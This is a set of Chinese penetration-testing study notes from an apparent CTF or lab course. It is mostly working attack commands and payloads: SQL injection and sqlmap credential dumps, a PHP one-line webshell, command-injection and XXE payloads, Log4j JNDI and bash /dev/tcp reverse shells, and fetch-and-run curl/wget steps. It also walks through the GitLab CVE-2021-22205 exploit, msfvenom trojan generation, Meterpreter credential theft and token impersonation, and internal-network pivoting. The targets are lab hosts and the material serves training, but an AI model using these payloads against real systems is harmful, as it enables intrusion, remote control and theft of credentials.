8.4
SQL注入
一、普通流程:
(一)判断注入点:一般形式“**=1,**=**”在输入框内输入单引号',查看是否报错。之后使用' or 1 # (%23)以及 or 1 #(%23)查看返回是否正常,确认注入点
(二)判断原sql语句列数:使用id=1 order by 1判断
(三)联合查询注入:id = -1 union select 1(password from )
#所有数据库的名字
#查到user_db库
union select group_concat(schema_name) from information_schema.schemata
#查某个数据库下所有表的名字
#查到user_info表
union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='user_db'
#查这个表下面所有字段的名字
#查到id,username,password字段
union select group_concat(column_name) from information_schema.columns where TABLE_name='user_info'
#打印所有字段
union select group_concat(id,'~',username,'~',password) from user_info
二、sqlmap使用:
python sqlmap.py -u "url"
#指定某个参数当做注入点,尝试注入
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch
#获取对应的所有数据库名字
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch --dbs
#获取对应数据库下的所有表名
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch -D user_db --tables
#获取这个表下面的所有字段
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch -D user_db -T user_info --columns
#获取所有数据内容
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch -D user_db -T user_info -C id,username,password --dump
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" --batch --dump-all
三、万能密码:
admin' or 1#
信息收集
一、fscan
fscan -h url
#或
fcan -h url -p 端口
二、dirsearch
python dirsearch.py -u url
三、git
使用dirsearch扫描发信存在200返回值的.git信息
python dumpall.py -u url/.git/
可能存在flag文件
文件上传
一、一句话木马
<?php @eval($_POST[1]);?>
蚁剑连接
二、各类检测绕过
修改文件类型,如GIF,上传后bp抓包,在抓包处修改后缀
修改文件后缀,如GIF,增加文件头GIF89a,上传后抓包,在抓包处修改后缀
过滤.php,使用pphphp绕过
提权
题目思路
一、弱口令爆破:burp
二、php伪协议
$_GET['demo'];接收demo
include($demo);将demo放到include函数当中
#include函数一般存在php伪协议或文件上传图片码+文件包含组合拳
可以尝试demo=file:///etc/passwd,如果存在,可以尝试包含index.php,发现明文打印不行,可以使用php伪协议base64加密
http://10.3.4.62:10012/index.php?demo=php://filter/convert.base64-encode/resource=fl4gisisish3r3.php
三、空格过滤
给一个输入ip窗口,发现直接输入无响应,提示空格过滤,使用;ls发现无flag文件,尝试;ls${IFS}/查看根目录,发现flag文件,;ls${IFS}/flag确认文件,使用cat替换ls查看flag值。
${IFS}
$IFS$9
<
<>
四、网站思路
先使用fscan、dirsearch工具扫描一遍网络查看开放端口、漏洞及目录,可能存在后台:admin.php;login.php
查看面板是否有版本号、使用模版情况,网上查找漏洞是否存在漏洞;弱口令爆破、默认密码、sql注入尝试,进入后台后查找文件上传点,使用抓包、修改上传文件规则等方式尝试传入一句话木马。后用蚁剑连接。
五、thinkphp\weblogci\shiro
傻瓜式操作:liqun集成工具一键尝试
在网页界面使其报错查看版本号和模块,搜索可能存在的漏洞
/index.php?S=123
无回显尝试使用反弹shell,监听端口后反弹
ncat -l -p 7777 (windows)
nc -lvvp 7777(kali)
六、gitlab漏洞(重要)
fscan扫描过程中发现gitlab框架,想到可能可以使用的CVE-2021-22205-main漏洞
#进入CVE-2021-22205-main文件夹,cmd
#查看命令
python CVE-2021-22205.py -h
#获取权限
python CVE-2021-22205.py -u url -m rev ip port
#同时另一端口监听
ncat -l -p port|nc -lvvp portx
#此时获取到反弹shell及权限,ls查看文件,ls /查看根目录,cat 查看文件 cat /flag查看根目录文件
#进入CVE-2021-22205-main文件夹,cmd
#查看命令
python CVE-2021-22205.py -h
#修改密码(需要知道用户名)
python CVE-2021-22205.py -u http://10.3.4.141/users/sign_in -m mod user(存在失败可能)
#手动修改后台密码(以此在反弹shell界面输入)
gitlab-rails console -e production
user = User.where(id: 1).first
user.password = 'admin1234'
user.password_confirmation = 'admin1234'
user.save
#修改后用户名root,密码admin1234,进入后台查看
后台内容看:1.project内容,可能存在开发目录、登录密码、用户、flag等文件。
2.项目内的history,可以看到历史记录,可能存在假密码,可以通过记录看到真密码
七、log4j漏洞
log4j:Apache下的jar包,用于java组件开发的日志记录。(视频8.6下午17:19)
主要依赖${ jndi:ldap:// }进行解析
#查看回显
${jndi:ldap://192.168.206.27:1389/abc}
同时需要借助JNDIExploit.v1.2工具开启反弹shell监听日志。
#在JNDIExploit.v1.2目录进入控制台(kali),开始监听
ava -jar jndi.jar -i 192.168.206.27 -l 1389 -p 8080
ns -lvvp 6666
#在靶机输入界面输入指令,完成反弹,获取权限
${jndi:ldap://192.168.206.27:1389/Basic/ReverseShell/192.168.206.27/6666}
八、msfconsole利用
kali自带的应用,直接使用
#启动
msfconsole
#查找漏洞
search thinkphp/weblogic/shiro/ms17-010
#使用
use *
#显示需要的参数
show options
#填补
set ……
#查看
show targets
#乱码
chcp 65001
在查看使用何种漏洞时,注意版本号、开放端口
#3389windows服务器,22linux服务器
fscan -h url -p 3389,22
weblogic漏洞(8.5下午1:59)
命令行远程连接
mstsc
主要需要注意在参数设置过程中,不要出现重复的端口
同时注意payload、target要注意修改
九、非web服务
直接使用网页无法打开但使用fscan扫描发现开放,则可能为非web服务,使用nmap扫描
nmap -sS -sV 10.3.4.68 -p 10016
如果存在mysql服务,可以尝试连接,使用fscan爆破密码,
fscan -h 10.3.4.68 -p 10016 -m mysql
爆破成功可以使用DBeaver连接,也可以kali直接连接
#管理员权限下运行指令,可以绕过证书检测(--ssl=0)
mysql -h 10.3.4.68 -P 10016 -u root -p --ssl=0
十、文件目录
一般都先抓包看一下看看有无特征,出现xml格式,可以使用xxe漏洞
#在抓包模块最后输入
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>&xxe;</password></user>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<user><username>&xxe;</username><password>&xxe;</password></user>
十一、弹框
在可输入文本框内输入弹出窗口
<img src=1 onerror="\u0061\u006c\u0065\u0072\u0074(1)">
十二、10019端口(8.6上午27:00)
十三、msf生成木马
#生成一个exe格式的a.exe windows木马,直接生成到当前目录
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.230.12 lport=8881 -f exe -o a.exe
主机开启监听
#首先运行msfconsole(kali)
msfconsole
#开启监听
use exploit/multi/handler
#于木马文件需要保持一致
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.230.12
set lport 8881
run
将木马放置到靶机内,双击运行
十四、后渗透操作
在获取靶机权限之后,继续该做什么?
#获取登陆过的明文密码
load kiwi
#如果需要system权限(一般只有管理员可以)
get system
#输出全部
creds_all
#恢复
rev2self
#获取当前权限级别
get uid
#获取密码加密值
hashdump
#上传、下载
upload ./Dsektop/1.txt c:\\users\\public\\(windows传到该目录)/tmp(linux传到该目录)
download
#后续工作
run po(双击tab)
run post/(双击tab)
#靶机当做路由访问192.168.100.0网段
run autoroute -s 192.168.100.0/24
#查看进程
ps -ef
#偷取权限
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
十五、cobaltstrike使用
该工具需要先有一个组服务器,可以使用自己的虚拟机作为该服务器,
./teamserver 192.168.231.201 123456
之后使用客户端连接该服务器

设置监听器,并生成木马文件进行攻击。
十六、windows提权
生成木马并使用msf连接上
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.230.12 lport=8881 -f exe -o a.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.231.201
set lport 8881
run


执行提权建议,找到一些可以提权的模块
run post/multi/recon/local_exploit_suggester

#选择某个提权模块
use exploit/windows/local/ms15_051_client_copy_image
set session 1
set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.230.12
set lport 8882
run
#挂载当前会话
background
#回到当前会话,查看
sessions
#回
sessions 1
十七、正向代理、反向代理
使用iox实现
正向:
#靶机部署
iox.exe proxy -l 1080
./iox proxy -l 1080
#主机配置代理
反向
#主机开启监听
./iox proxy -l 8888 -l 1080
#靶机反向链接
iox.exe proxy -r 192.168.230.12:8888
使用Proxifire配置代理服务
十八、套题(内网渗透及穿梭)
基本思路:fscan扫描ip,确认开放端口、可能漏洞,网上搜寻漏洞,进入内网,注意网卡
ip:10.3.4.153,fscan扫描
fscan -h 10.3.4.153
#开放22;80端口,web漏洞
发现漏洞poc-yaml-seacms-v654-rce,网上搜索情况。
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan={searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=system('echo "<?php @eval(\$_POST[1]);?>" > 1.php');
进入后台界面,发现flag文件
find / -name flag*
同时可以用dirsearch扫描一遍,查看有无其他目录
python dirsearch.py -u 10.3.4.153
ifconfig
#发现更多网段10.10.20.31
进入根目录的tmp目录,上传fscan和iox,扫描并进行一级代理
./fscan -h 10.10.20.0/24
#读取结果
cat result
发现更多网段,使用iox
#主机监听
iox.exe proxy -l 8888 -l 1080
#靶机连接
./iox proxy -r 192.168.205.170:8888
进入Proxifire配置
#监听
127.0.0.1 :1080
#规则
10.10.20.*
根据fscan扫描得发现Tomcat8.0.43以及连个mysql
使用DBeaver连接两个数据库发现无数据,使用sqlmap进行数据库提权,再搜索flag。
#第一个数据库
python sqlmap.py -d "mysql://root:123456@10.10.20.231:3306/mysql" --os-shell
#第二个数据库
python sqlmap.py -d "mysql://root:123456@10.10.20.266:3306/mysql" --os-shell
进入Tomcat,搜索漏洞发现一个文件上传漏洞。
上传war webshell包,并用蚁剑连接
#http://10.10.20.88:8080/bb/webshell.jsp
#密码:ant
#连接类型custom
继续上传fscan、iox,对该网段进行ipconfig、ifconfig或ip a
发现另一网卡172.16.224.66,使用fscan扫描,并挂二层代理。
首先查看该机器是否可以ping通主机
ping -c 1 192.168.205.169
可以ping通,则证明该靶机可以连接外网。
1.若果不触网
可以访问靶机,则去靶机开放正向1080端口去连接,或使用工具
#开启正向
./iox proxy -l 1080
主机配置方式,使用chain


既可以访问第二层、第三层。
访问第三层发现weblogci漏洞和一个172.16.224.189 (Windows 6.1)
#172.16.224.189 (Windows 6.1)开放445端口,可能是windows,但实际为lunix
nmap -sT -Pn -sV 172.16.224.189 -p 445
#扫描结果445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)搜索得知linux
可以发现该版本的漏洞,使用msf执行漏洞,但msf在kali上运行,需要再次代理,故直接下载msf至windows主机。
2.如果触网,可以直接用该机子访问主机
#靶机
./iox proxy 192.168.205.169:8081
#主机
./iox proxy -l 8081 -l 1081
wegt命令下载
#主机设置下载端口(东西必须在cmd目录下)
python -m http.server 8081
#靶机下载
wget http://192.168.205.169:8081/iox
十九、shiro利用
10.3.4.238:fscan扫描该网段,发现一个shirokey
shiro attack输入网址,爆破秘钥、爆破秘钥链,进入
也可以使用反弹shell方式
#本地写一个反弹shell文件(Tscan生成)
bash -c "/bin/bash -i >& /dev/tcp/192.168.205.169/6666 0>&1"
#启动本地下载服务
python -m http.server 8081
#开启监听
ncat -l -p 6666
#使用shiro工具下载1.sh
curl 192.168.205.169:8081/1.sh -o /tmp/1.sh
#可执行文件
chmod 755 /tmp/1.sh
#执行
./tmp/1.sh
二十、redis利用
继续上面shiro的地方,监听成功进入后首先配置代理进入第二层
#下载iox
wget http://192.168.205.169:8081/iox
#可执行
chmod 755 iox
#本机监听
iox.exe proxy -l 8888 -l 1080
#执行
nohup ./iox proxy -r 192.168.205.169:8888
#使用msf
set rhosts 10.10.135.35
#运行
run
此时发现有第二层ip段,使用套题十八的方法继续传入iox以及正向代理,此时进入第二层redis服务
使用fscan扫描得出,会出现

使用redis一键化利用工具实现利用,其中要修改的是两个ip地址和最后的命令

只要开启redis服务且未授权,就可以使用
重点:
1.gitlab漏洞
2.somba漏洞
3.shiro漏洞
4.redis漏洞
5.tomact漏洞
6.mysql

被折叠的 条评论
为什么被折叠?



